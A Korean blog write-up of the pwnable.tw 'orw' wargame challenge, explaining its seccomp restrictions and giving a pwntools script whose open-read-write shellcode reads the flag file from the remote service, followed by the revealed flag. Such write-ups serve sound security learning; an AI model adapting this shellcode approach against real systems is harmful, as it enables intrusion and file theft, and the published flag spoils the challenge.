카테고리 없음

[pwnable.tw] orw [100 pts]

Tjdmin1 2025. 3. 11. 11:40

https://pwnable.tw/challenge/#2

 

Pwnable.tw

Pwnable.tw is a wargame site for hackers to test and expand their exploiting skills.

pwnable.tw

Analyze


main 함수

여기서 orw_seccomp을 호출한 뒤 shellcode라는 변수에 read를 한 뒤 shellcode를 호출 시켜줍니다.

seccomp-tools로 확인해보면 아래와 같습니다.

seccomp rule

rt_sigreturn과 sigreturn, exit_group, exit, open, read, write만 호출이 가능합니다.

 

Attack Vector


open, read, write면 flag를 읽고 출력이 가능하게 됩니다.

이걸 이용하여 shellcode를 짜서 flag를 출력하면 됩니다.

 

Exploit


from pwn import *

context.arch = 'i386'

r = remote('chall.pwnable.tw', 10001)

shellcode = shellcraft.pushstr('/home/orw/flag')
shellcode += shellcraft.open('esp', 0, 0)
shellcode += shellcraft.read('eax', 'esp', 38)
shellcode += shellcraft.write(1, 'esp', 38)

shellcode = asm(shellcode)


r.sendafter(b'Give my your shellcode:', shellcode)

print(r.recv().decode())

 

FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}